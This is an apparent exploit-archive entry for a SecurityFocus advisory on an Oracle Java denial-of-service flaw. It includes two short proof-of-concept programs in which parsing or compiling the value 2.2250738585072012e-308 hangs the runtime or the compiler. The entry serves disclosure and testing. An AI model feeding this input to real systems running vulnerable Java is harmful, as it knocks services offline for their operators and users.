30 lines
No EOL
891 B
Text
30 lines
No EOL
891 B
Text
source: https://www.securityfocus.com/bid/46091/info
|
|
|
|
Oracle Java is prone to a remote denial-of-service vulnerability.
|
|
|
|
Successful attacks will cause applications written in Java to hang, creating a denial-of-service condition.
|
|
|
|
This issue affects both the Java compiler and Runtime Environment.
|
|
|
|
Send a Java Program Into An Infinite Loop
|
|
|
|
Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):
|
|
|
|
class runhang {
|
|
public static void main(String[] args) {
|
|
System.out.println("Test:");
|
|
double d = Double.parseDouble("2.2250738585072012e-308");
|
|
System.out.println("Value: " + d);
|
|
}
|
|
}
|
|
|
|
Send the Java Compiler Into An Infinite Loop
|
|
|
|
Try to compile this program; the compiler will hang:
|
|
|
|
class compilehang {
|
|
public static void main(String[] args) {
|
|
double d = 2.2250738585072012e-308;
|
|
System.out.println("Value: " + d);
|
|
}
|
|
} |